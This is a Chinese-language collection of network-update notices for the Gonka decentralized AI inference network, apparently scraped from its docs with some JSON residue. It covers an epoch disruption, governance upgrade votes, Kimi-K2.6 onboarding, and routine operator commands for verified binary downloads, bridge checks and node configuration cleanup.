在应用额外防护措施期间，推理可能暂时不可用。访问预计将逐步恢复，首先通过若干社区代理和中介端点。
发生了什么
在周期 #266 中，网络的活跃权重大幅下降。
该问题被追溯至具有非标准语义的推理请求。该攻击向量影响了运行Kimi模型的主机，并扰乱了它们的PoC参与。
在周期 #267 中，主机得以恢复，PoC验证成功完成。
推理可用性
网络将不再接受使用受影响的非标准语义的请求。
在相关防护措施应用期间，推理可能暂时不可用。访问预计将逐步恢复，首先通过若干社区代理和中介端点。
周期 #267 中的Kimi权重
由于现有协议规则：单一模型的总权重不得超过上一周期所有模型总权重的75%，Kimi在周期 #267 中的活跃权重较低。
由于第266个周期的总活跃权重显著降低，此规则也限制了Kimi在第267个周期的权重。
随着未来周期中正常的PoC参与持续进行，权重可能需要数天才能稳定。
主机所需操作
第266个周期：PoC权重下降调查
在当前周期（#266）中，网络的活跃权重出现显著下降。 似乎PoC投票未能收集到本周期所需的投票数。确切原因尚未确认，社区正在积极调查此事。
受影响参与者
如果您的节点未能进入本周期，请尽可能保持您的API节点在线并可访问。 这有助于赔偿委员会收集PoC参与的证据，并更准确地核算受影响的贡献。
调查进行中
社区成员目前正在审查第266个周期发生的情况。一旦对根本原因有更清晰的了解，将及时分享更新。 如果您有有助于调查的相关观察、日志、假设或其他技术背景，请在此分享。
"}, {"location": "gonka/docs/zh/network-updates/#2026515", "title": "2026年5月15日", "text": "v0.2.13升级提案进入治理
v0.2.13提案现已上链并开放投票。
0.78）重新校准权重，新增模型 MiniMaxAI/MiniMax-M2.7，更新验证阈值，重构devshard存储，以及多项PoC/奖励修复和Ethereum桥接主网激活。PR链接：https://github.com/gonka-ai/gonka/pull/1143
关键变更模型
MiniMaxAI/MiniMax-M2.7 作为治理批准的模型和PoC模型添加。WeightScaleFactor 值：0.3590.780.3024inference-chain
20_000 提高到 1_000_000。100 提高到 500_000。ConsecutiveInvalidInferences。MsgRespondDealerComplaints 授权。0.25。在守护者不投票的情况下，这使得剩余75%投票权的有效法定人数为1/3（0.25 / 0.75 = 0.334）。Ethereum 桥接主网激活
0x972a7a92d92796a98801a8818bcf91f1648f2f68、USDC 和 USDT 代币元数据、桥接交易授权以及 CW20 wrapped_token 代码 ID 105。decentralized-api & devshard
9400 启用 NodeManagerGrpcPort。升级计划
如果获得批准，二进制版本将通过链上升级提案进行更新。有关升级过程的更多信息，请参阅 /docs/upgrades.md.
升级前的必要操作
如果提案获得批准，建议进行以下准备工作。
在第 278 个周期前的 MiniMaxAI/MiniMax-M2.7 参与选择
对于每个经治理批准的模型，多模型 PoC 要求每个主机明确选择参与方式（DIRECT / DELEGATE / REFUSE）。在模型的 PenaltyStartEpoch 之后不采取任何操作将导致惩罚。在此阶段，您应提前决定首选选项，以便在提案通过且升级成功应用于主网时能够迅速行动。
桥接容器更新/验证
要求所有主机验证其桥接容器是否已部署、运行最新版本并正确同步。部分主机可能已部署桥接容器。在这种情况下，请先检查您运行的是当前版本，再采取进一步操作。 请遵循以下说明：https://gonka.ai/docs/network-updates/#may-7-2026
仪表板/浏览器更新（升级前或升级后）
要求主机更新仪表板/浏览器。请从 gonka/deploy/join 目录运行以下命令：
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\n如何投票
如果您没有直接访问拥有投票权的密钥，或希望由另一个密钥代为投票，请参阅指南，了解如何将治理投票权限从冷密钥授予热密钥。
提案详情和投票可通过 inferenced 查看。任何活跃节点均可使用。可用节点包括：
投出您的选票（yes，no，abstain，no_with_veto）：
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 52 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 52 -o json --node $NODE_URL/chain-rpc/\n截止日期
注意事项
.inference/data 目录中创建完整状态备份；请确保有足够的磁盘空间。有关如何安全删除 .inference 目录中的旧备份的指导，请参阅文档。application.db 占用了大量磁盘空间，可应用 cosmovisor 备份指南 中描述的清理技术。桥接容器更新/验证必需
作为即将进行的 v0.2.13 升级准备工作的一部分，该升级可能包括以太坊端合约激活，所有主机需验证其桥接容器是否已部署、运行最新版本并正确同步。
部分主机可能已部署桥接容器。在这种情况下，请先确认您正在运行当前版本，再采取进一步操作。
最新桥接镜像：
ghcr.io/product-science/bridge:0.2.5-post5@sha256:8d2f217115c65b27fcb6fe1497471c30891534f18685bd3007d168aa7f1a9371\ndocker inspect --format='{{.Image}}' bridge \\\n | xargs docker inspect --format='{{range .RepoDigests}}{{.}}{{end}}' \\\n | grep -q 'sha256:8d2f217115c65b27fcb6fe1497471c30891534f18685bd3007d168aa7f1a9371' \\\n && echo \"BRIDGE v0.2.5-post5 is running\" || echo \"WARNING: OLD BRIDGE\"\nBRIDGE v0.2.5-post5 is running\n请同时验证桥接是否已同步：
docker logs bridge --tail 10000 | grep \"Skeleton sync bounds\" | tail -1\n如果命令返回警告，请从 gonka/deploy/join 目录部署或更新桥接容器：
git checkout release/v0.2.5-post5\ndocker compose down bridge && sudo rm -rf .inference-eth\nsource config.env && docker compose pull bridge\nsource config.env && docker compose up bridge -d --force-recreate --no-deps\ndocker inspect --format='{{.Image}}' bridge \\\n | xargs docker inspect --format='{{range .RepoDigests}}{{.}}{{end}}' \\\n | grep -q 'sha256:8d2f217115c65b27fcb6fe1497471c30891534f18685bd3007d168aa7f1a9371' \\\n && echo \"BRIDGE v0.2.5-post5 is running\" || echo \"WARNING: OLD BRIDGE\"\nBEACON_STATE_URL 并重启桥接： sudo sed -i 's|- BEACON_STATE_URL=.*|- BEACON_STATE_URL=https://beaconstate.info/|' docker-compose.yml\n\nsource config.env && docker compose up bridge -d --force-recreate --no-deps\n升级 v0.2.13 的 PR 审查
拉取请求 针对下一个链上软件升级 v0.2.13 已开放审查。
请直接审查 PR 代码，并对您发现的任何问题、疑问、改进建议、边界情况或漏洞留下评论。
有意义的审查贡献，包括重要评论、漏洞发现和安全问题，可能在下一次升级周期中获得社区奖励。
本次仅为拉取请求的审查请求，不启动正式投票。治理投票流程将在审查期结束后开始，很可能明天开始。
关键变更inference-chain
ConsecutiveInvalidInferences未被重置。一个新产生的不良推断会立即再次使其失效。现在在重新激活和即将晋升时会重置该计数器。MsgRespondDealerComplaints。升级会回填该权限，以便它们能够响应交易商投诉。20_000非ces限制。现在限制为DevshardEscrowParams.MaxNonce，v0.2.13升级将其设置为1_000_000。升级还将MaxEscrowsPerEpoch提升至500_000。UpgradeProtectionWindow（3000个区块）。从升级高度到升级纪元结束期间，跳过确认PoC触发器，因此新的快照逻辑仅从下一个纪元开始运行。复用了v0.2.10的宽限期原语。decentralized-api
stop_reason值。Choice.StopReason现在接受任何JSON类型，因此这些响应不再因反序列化失败。devshard
epoch_id对会话、差异和签名进行分区，以便清理可以干净地删除旧纪元数据。bridge
审查者可以在此处找到完整的升级提案、迁移详情、测试摘要和建议流程：
https://github.com/gonka-ai/gonka/blob/347d947596aba754e453e58d5f82ae6054233a9a/proposals/governance-artifacts/update-v0.2.13/README.md
https://github.com/gonka-ai/gonka/pull/1143
在api容器版本v0.2.11、v0.2.12和v0.2.12-api-post2中存在一个潜在问题。容器重启后，9100、9200和9400端口上的服务器可能启动延迟很长。这延迟了api激活，导致部分矿工跳过确认PoC。
修复方案通过并行加载devshards并从快照恢复现有devshard会话来移除该阻塞点。
https://github.com/gonka-ai/gonka/pull/1143
请更新api容器的二进制文件。在每次PoC开始前有500个区块的无CPoC（confirmation_poc_safety_window）窗口，因此这可能是部署最安全的版本。
更新前，请确保没有CPoC或PoC正在运行。
部署方式（一次一台机器以降低风险）：
sudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.12-api-post3/ .dapi/data/upgrade-info.json\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.12-api-post3/bin/\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.12-api-post3/decentralized-api-amd64.zip' && \\\necho \"3f2bc481b8320c53f0abe428dc262eaac5a86e8f38b8d796c409bd7116ba5017 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.12-api-post3/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.12-api-post3/bin/decentralized-api && \\\necho \"API Installed and Verified\"\n\ndocker stop api && \\\nsudo rm -rf .dapi/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.12-api-post3 .dapi/cosmovisor/current && \\\necho \"da495bc4c414ac9a0d416f85c30dd8dfbbcc76883fd71f6c1e969d37fa184b20 .dapi/cosmovisor/current/bin/decentralized-api\" && \\\ndocker start api\ncurl http://localhost:9200/admin/v1/nodes # may not be bound to localhost\ncurl http://localhost:9100/versions # may not be bound to localhost\n在上一个纪元中，发现Kimi-K2.6的某些响应解析存在一个小bug。
修复：https://github.com/gonka-ai/gonka/pull/1143/changes#diff-4c44fd18f746bca1c63d9bcbb9a73f06bc0172bfb8a33152854920d4dffff0e8
我们建议替换api容器的二进制文件。除修复外，新版本还启用了devshard数据库的清理功能，并为devshard状态增加了Postgres支持。
部署方式：
sudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.12-api-post2/ .dapi/data/upgrade-info.json\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.12-api-post2/bin/\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.12-api-post2/decentralized-api-amd64.zip' && \\\necho \"7bef88106fc3464d0141a2d14245cc06c341be186250f5d096e27e901deb185e decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.12-api-post2/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.12-api-post2/bin/decentralized-api && \\\necho \"API Installed and Verified\"\n\ndocker stop api && \\\nsudo rm -rf .dapi/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.12-api-post2 .dapi/cosmovisor/current && \\\necho \"9882b36ac6e5546fc18e3dd34da293cd5255f311f19e14ace74d3b9190c8ca1d .dapi/cosmovisor/current/bin/decentralized-api\" && \\\ndocker start api\ncurl -X POST http://localhost:9200/admin/v1/nodes \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"<NODE_ID>\",\n \"host\": \"<NODE_IP>\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"moonshotai/Kimi-K2.6\": {\n \"args\": [\n \"--enable-auto-tool-choice\", # new parameter\n \"--tensor-parallel-size\", \"4\",\n \"--enable-expert-parallel\",\n \"--trust-remote-code\",\n \"--mm-encoder-tp-mode\", \"data\",\n \"--tool-call-parser\", \"kimi_k2\",\n \"--reasoning-parser\", \"kimi_k2\",\n \"--attention-backend\", \"FLASHINFER_MLA\",\n \"--disable-custom-all-reduce\",\n \"--gpu-memory-utilization\", \"0.95\",\n \"--max-num-seqs\", \"128\",\n \"--max-model-len\", \"240000\"\n ]\n }\n }\n }'\n然后使用docker restart join-mlnode-308-1重启MLNode容器。
这些操作应在PoC/确认PoC未运行时执行。
"}, {"location": "gonka/docs/zh/network-updates/#202655", "title": "2026年5月5日", "text": "在Kimi-K2.6引导期间，主机观察到30%的最低直接参与阈值在实践中难以满足。为避免Kimi-K2.6在未来纪元中失去资格的风险，并简化后续模型的接入，建议将该阈值降低至10%。
安全模型保持不变：PoC验证本身未更改，仍需超多数验证算力才能接受结果。
该提案被加速，以便在下一次PoC之前生效。投票将持续12小时。
投票（yes，no，abstain，no_with_veto）：
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 48 yes \\\n --from <cold_key_name> \\\n --keyring-backend file \\\n --unordered \\\n --timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n --node $NODE_URL/chain-rpc/ \\\n --chain-id gonka-mainnet \\\n --yes\n检查投票状态：
export NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 48 -o json --node $NODE_URL/chain-rpc/\n投票结束：2026-05-05 19:00:54 UTC
"}, {"location": "gonka/docs/zh/network-updates/#202654", "title": "2026年5月4日", "text": "Kimi K2.6 现已在 Gonka 网络上激活
moonshotai/Kimi-K2.6 已通过引导并加入 Gonka 网络的 PoC 参与。
该过程由网络各节点协调完成：基础设施已准备就绪，意向已提交，委托与拒绝已设置，部署已测试。
对于多模型 PoC，这意味着 Kimi 现在作为活跃模型组拥有自己的参与和奖励跟踪机制。
运行 Kimi 的节点应继续像往常一样监控其 MLNode 和 PoC 参与情况。
"}, {"location": "gonka/docs/zh/network-updates/#202654_1", "title": "2026年5月4日", "text": "为已提交 PoCIntent 的节点提供操作要求：部署 Kimi K2.6
今日对 moonshotai/Kimi-K2.6 的预评估检查已通过。
已提交 PoCIntent 的节点现在应在 PoC 于区块 3874496 开始前，将至少一个 MLNode 从 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 切换至 moonshotai/Kimi-K2.6。
预评估与 PoC 开始之间有 500 个区块的窗口期。在此期间无 CPoC 任务，因此已声明意向的节点可安全地将其模型节点切换至 Kimi K2.6。
请遵循指南完成所需部署步骤：https://gonka.ai/docs/host/kimi-bootstrap/
"}, {"location": "gonka/docs/zh/network-updates/#202654_2", "title": "2026年5月4日", "text": "传输代理 node1、node2 和 node3 已被禁用。所有主网推理现在均通过 node4 路由，该代理基于新的 devshard 计费方式运行。
这标志着网络的一个重要里程碑：devshard 已上线并具备生产就绪能力。node4 将作为今后推荐的公共网关。
操作要求：将您的端点更新为 node4。
今日的预资格验证未通过，对于 PoCIntent 权重低于 30% 的节点，其权重极低。请将您的 MLNode 保留为 Qwen235B，并于明天提交下一个周期的意向。
升级已执行：v0.2.12 现已在主网上线
针对升级提案 v0.2.12 的链上治理投票已结束。该提案已获批准，升级已在主网上成功执行。
当前生效的关键变更
moonshotai/Kimi-K2.6 作为第二个模型引入：该模型组将在升级后两个周期激活。该模型的系数为 Qwen235B 的 3.51 倍，基于相同硬件（8xH200、8xB200）上的模型计算复杂度。POC_SLOT=true）将被随机抽选用于单次 PoC/CPoC 时间。其他更新包括：将 mlnode 版本传播至链上 HardwareNode，修复 DKG 交易方共识，使遗留验证者惩罚与所需抵押品语义对齐，确保 devshard 托管资金的原子性，以及在 inference_finished 事件解析中添加零时间戳容差。对节点的指导
部署、委托或明确拒绝新的治理批准模型（所包含模型将在升级后两个周期激活）。请参阅指南。
请更新仪表盘/浏览器。请从 gonka/deploy/join 目录运行以下命令：
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\n二进制版本：通过链上升级流程更新。
迁移：测试与迁移详情请参阅 v0.2.12 文档。
有关这些变更的更多详情，请参阅治理文档：https://github.com/gonka-ai/gonka/tree/upgrade-v0.2.12/proposals/
"}, {"location": "gonka/docs/zh/network-updates/#2026429", "title": "2026年4月29日", "text": "升级 v0.2.12：预下载二进制文件
v0.2.12 升级提案的链上治理流程即将结束。
鼓励主机查看GitHub上的提案并参与投票。
提前预下载二进制文件有助于在升级窗口期间避免依赖GitHub的可用性。
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.12/bin \\\n .inference/cosmovisor/upgrades/v0.2.12/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.12/decentralized-api-amd64.zip\" && \\\necho \"d0143a95e12e1ada06cfea5e4d3deab13534c3523c967e9a6b87ac9f9bf3247d decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.12/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.12/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.12/inferenced-amd64.zip\" && \\\necho \"df7656503d39f6703767d32d5578d1291e32cb114844d8c1cd0f134d1bf4babd inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.12/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced && \\\necho \"94ce943338d12844028e84fe770106c9d28d866cf0af99f27da30f56d69efa34 .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"642eb9858cd77d182f3e1c4d44553f5379d615983430e1fd8e85f09632af4271 .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced\" | sudo sha256sum --check\n升级 v0.2.12：升级前模型清理
v0.2.12升级提案现已进入链上投票期的中段。
鼓励主机查看GitHub上的提案并投票。
升级前必须执行的操作
随着网络接近升级窗口，主机应提前准备节点，以防提案通过。
此清理过程必须在升级发生前完成。如果在升级时您的节点配置包含不受支持的模型，节点将被拒绝并离线。
版本 0.2.12 将移除所有不在升级后批准列表中的治理模型。在主网上，仅保留之前强制执行的模型和 Kimi。 每个 DAPI 会将 MLNode 配置本地持久化。启动时，它会将每个配置的模型与链上治理列表进行验证。如果配置中包含至少一个不受支持的模型，整个节点将被拒绝，主机将离线。
版本 0.2.11 通过将运行时视图截断为强制模型来掩盖了此问题，因此即使持久化配置中仍包含额外模型，/admin/v1/nodes 也显示为干净。版本 0.2.12 停止了这种截断，直接加载持久化配置。
为解决此问题，以下脚本将查找 /admin/v1/config 中包含额外模型的每个节点，并向 /admin/v1/nodes/<id> 发送一个包含清理后配置的 PUT 请求。这些更改将在 60 秒内持久化。剩余模型的参数、硬件和端口将完全保留。未列出强制模型的节点将被跳过，需要手动修复。
将以下脚本粘贴到主机的 shell 中。默认情况下，它将应用更改。若要预览更改而不应用，请将 APPLY=dry 设置为任意非 --apply 的值。
仓库中的脚本：
ADMIN=${ADMIN:-http://127.0.0.1:9200}\nKEEP=${KEEP:-Qwen/Qwen3-235B-A22B-Instruct-2507-FP8}\nAPPLY=${APPLY:-\"--apply\"}\n\ncurl -sS \"$ADMIN/admin/v1/config\" | jq -r --arg k \"$KEEP\" '\n .nodes[] | \"\\(.id): \" + (\n if (.models | has($k) | not) then \"skip (\\(.models | keys))\"\n elif (.models | length) == 1 then \"ok\"\n else \"\\(.models | keys) -> [\\($k)]\" end)'\n\nif [[ \"$APPLY\" == \"--apply\" ]]; then\n curl -sS \"$ADMIN/admin/v1/config\" \\\n | jq -c --arg k \"$KEEP\" \\\n '.nodes[] | select((.models | has($k)) and (.models | length > 1)) | .models = {($k): .models[$k]}' \\\n | while IFS= read -r p; do\n id=$(jq -r .id <<<\"$p\")\n curl -sS -f -X PUT -H 'Content-Type: application/json' -d \"$p\" \\\n \"$ADMIN/admin/v1/nodes/$id\" >/dev/null && echo \"$id: updated\"\n done\n echo \"done; persisted within 60s\"\nelse\n echo \"preview only; rerun without APPLY=dry to commit\"\nfi\n运行脚本后等待 60 秒，确保更改已持久化后再触发升级。然后验证配置：
curl -sS http://127.0.0.1:9200/admin/v1/config \\\n | jq '.nodes[] | {id, models: (.models | keys)}'\n预期输出：
{\n \"id\": \"<nodeId>\",\n \"models\": [\n \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\"\n ]\n}\nv0.2.12 升级提案进入治理
升级提案 的下一个链上软件版本 v0.2.12 已发布至链上，现开放投票。
主要变更
moonshotai/Kimi-K2.6 作为第二个模型被引入：模型组将在升级后两个周期激活。该模型的系数为 Qwen235B 的 3.51 倍，基于相同硬件（8xH200、8xB200）上的模型计算复杂度。POC_SLOT=true）将被随机抽样用于单次 PoC/CPoC 时间。其他更新包括将 mlnode 版本传播到链上 HardwareNode、修复 DKG 交易商共识、使遗留验证者惩罚与所需抵押品语义对齐、确保 devshard 托管资金的原子性，以及为 inference_finished 事件解析添加零时间戳容差。升级计划
二进制版本将通过链上升级提案进行更新。有关升级过程的更多信息，请参阅 /docs/upgrades.md.
必需操作升级前
从 docker-compose.yml 部署 versiond 和 proxy 服务的最新版本（使用仓库的 release/v0.2.12 标签）：
git checkout release/v0.2.12\n--no-deps）： source config.env && \\\ndocker compose -f docker-compose.yml up versiond proxy -d --no-deps\ndevshard 独立于 api 服务运行。 升级后
部署、委托或明确拒绝新的治理批准模型（包含的模型将在升级后 2 个周期激活）。请参阅 指南。
升级前或升级后
请主机更新仪表板/浏览器。请从 gonka/deploy/join 目录运行以下命令：
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\n如何投票
如果您没有直接访问拥有投票权的密钥，或希望使用其他密钥代为投票，请参阅 指南 了解如何从冷密钥向热密钥授予治理投票权限。
提案详情和投票可通过 inferenced 查看。任何活跃节点均可使用。可用节点包括：
投出您的投票（ yes，no，abstain，no_with_veto ）：
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 44 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 44 -o json --node $NODE_URL/chain-rpc/\n截止日期
注意
.inference/data 目录中创建完整的状态备份；请确保有足够的磁盘空间。有关如何安全删除 .inference 目录中的旧备份的指南，请参阅 文档。application.db 占用了大量磁盘空间，可应用 cosmovisor 备份 指南 中描述的清理技术。升级 v0.2.12 的 PR 审查
下一个链上软件升级 v0.2.12 的 拉取请求 已开放供审查。
请直接审查 PR 代码，并对您发现的任何问题、疑问、改进建议、边缘情况或漏洞留下评论。
有意义的审查贡献，包括重要评论、错误发现和安全问题，可能在下一轮升级周期中获得社区奖励。
本次仅为拉取请求的审查请求，不启动正式投票。治理投票流程将在审查期结束后开始。
关键变更
NetworkDutyFeeBypassDecorator 免费。MsgPoCV2StoreCommit 采用两部分费用（基础验证 + 计数线性）作为主要 Sybil 防御机制。详情请参见 docs/host_onboarding.md。mlnode 版本传播至链上 HardwareNode，修复 DKG 经销商共识，使传统验证者 slashing 与所需抵押品语义对齐，确保 devshard 托管资金的原子性，并为 inference_finished 事件解析添加零时间戳容差。升级计划
二进制版本将通过链上升级提案更新。有关升级流程的更多信息，请参阅 /docs/upgrades.md.
升级后所需操作
现有主机：
docker-compose.yml 部署 versiond 服务（使用主分支中的最后一次提交）proxy 容器。文档将提供确切的命令。ML节点 3.0.12-post6 可用
现已推出新版本的 mlnode：ghcr.io/gonka-ai/mlnode:3.0.12-post6
此版本现已设为主分支的默认版本：https://github.com/gonka-ai/gonka/commit/ec8f45573149ce5686e8e5fc29f1a8f49a295689
变更内容
此版本已在最近几个周期中被部分矿工使用。 初步观察表明，对于接近PoC开始运行的节点，稳定性有所提升。
此次更新修复了在PoC开始附近的一个边缘情况，该情况此前可能导致在特定条件下性能下降。
vLLM的完整变更：https://github.com/gonka-ai/vllm/compare/release/v0.9.1-pocv2-post5...release/v0.9.1-pocv2-post6
建议
升级已执行：v0.2.11 现已在主网上线
v0.2.11升级提案的链上治理投票已结束。该提案已获批准，并已在主网上成功执行。
当前生效的关键变更初始扩展架构：基于 devshards 的推理会话
此次升级引入了基于 devshards 的推理会话的初始版本，旨在提升推理扩展性。
StartInference 和 FinishInference 性能改进
这些性能改进使每个区块的推理次数最多可提升100倍，具体取决于工作负载和网络状况。 有关这些及其他变更的更多详细信息，请参见：https://github.com/gonka-ai/gonka/pull/813
主机指南
有关这些变更的更多详情，请参见治理文档：https://github.com/gonka-ai/gonka/tree/upgrade-v0.2.11/proposals/
"}, {"location": "gonka/docs/zh/network-updates/#2026319", "title": "2026年3月19日", "text": "升级 v0.2.11：提前下载二进制文件
v0.2.11升级提案的链上治理流程即将结束。
鼓励主机查看 GitHub 上的提案并投票。 提前下载二进制文件有助于在升级窗口期间避免依赖GitHub的可用性。
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.11/bin \\\n .inference/cosmovisor/upgrades/v0.2.11/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.11/decentralized-api-amd64.zip\" && \\\necho \"e574c3d86189daf325cc7008603ee8e952efb028afda5bcd4a154dcd334192d4 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.11/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.11/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.11/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.11/inferenced-amd64.zip\" && \\\necho \"c77528bd2e31e86355a6eefddb50e0db7f9600ebf2940ca440a61ea36e7ef7ca inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.11/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.11/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.11/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.11/bin/inferenced && \\\necho \"8b99e550ddd117a0cb4293b4ae74e0e5dff961a1986f23b58ec7ae6c3f0478f1 .dapi/cosmovisor/upgrades/v0.2.11/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"6cf186a75782da07156d4d03b4266cefcb36656de89e4a378ae96d8df89ad003 .inference/cosmovisor/upgrades/v0.2.11/bin/inferenced\" | sudo sha256sum --check\nv0.2.11升级提案进入治理流程
下一个链上软件版本v0.2.11的升级提案现已上链并开放投票。若获批准，该提案将引入基于 devshards 的推理会话的初始版本，以提升推理扩展性，并显著改善 Start/FinishInference 性能。
关键变更初始扩展架构：基于devshards的推理会话
此升级引入了基于devshards的推理会话的初始版本，旨在提升推理的可扩展性。
目前，通过每个推理的链上交易处理推理会话限制了吞吐量。此设计将推理执行和验证移至指定的链下子组，而链上仅处理会话创建和最终结算。
这有意是一个早期且受限的版本。它被提议用于主网审查和有限的生产测试，并非因为其已被认为完成，而是因为此类系统需要尽早暴露于真实网络环境中。某些类型的问题仅通过本地测试难以发现。当前实现已设计为避免对矿工奖励产生负面影响。
StartInference 和 FinishInference 性能改进
MsgStartInference 和 MsgFinishInference 的不必要的状态写入和查询开销。在类似主网的条件下，这使得每个区块可容纳多达 100 倍的推理量，具体取决于工作负载和网络状况。  有关这些及其他更改的更多详细信息，请参见：https://github.com/gonka-ai/gonka/pull/813
升级前的建议操作application.db 剪枝
强烈建议主机在升级前按照提供的说明对 application.db 进行剪枝。
提前执行此操作非常重要。如果许多节点推迟到升级后才进行剪枝，网络中可能会在同一时间开始大规模剪枝活动，从而造成可避免的操作压力。 剪枝说明请参见：https://gonka.ai/FAQ/#__tabbed_7_4
浏览器更新
请主机更新仪表板/浏览器。请从 gonka/deploy/join 目录运行以下命令：
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\n如何投票
如果您没有直接访问拥有投票权的密钥，或希望由另一个密钥代为投票，请参阅指南，了解如何将治理投票权限从冷密钥授予热密钥。
提案详情和投票可通过 inferenced 查看。任何活跃节点均可使用，可用节点包括：
投出您的选票 ( yes, no , abstain , no_with_veto )：
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 31 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\n要检查投票状态：
export NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 31 -o json --node $NODE_URL/chain-rpc/\n截止日期
注意
.inference/data 目录中创建完整的状态备份；请确保有足够的磁盘空间。有关如何安全删除 .inference 目录中的旧备份的指南，请参阅文档。application.db 占用了大量磁盘空间，可应用此处描述的清理技术。升级 v0.2.11 的 PR 审查
下一次链上软件升级 v0.2.11 的拉取请求已开放供审查。欢迎提供反馈和改进建议。
对于本次 PR 审查的有意义贡献，可在下一次升级中提出奖励。
本次仅为拉取请求的审查请求，而非正式投票的开始。治理投票流程将在审查期结束后启动。
主要变更
初始扩展架构：基于 devshards 的推理会话
本次升级引入了基于 devshards 的推理会话的初始版本，旨在提升推理扩展性。
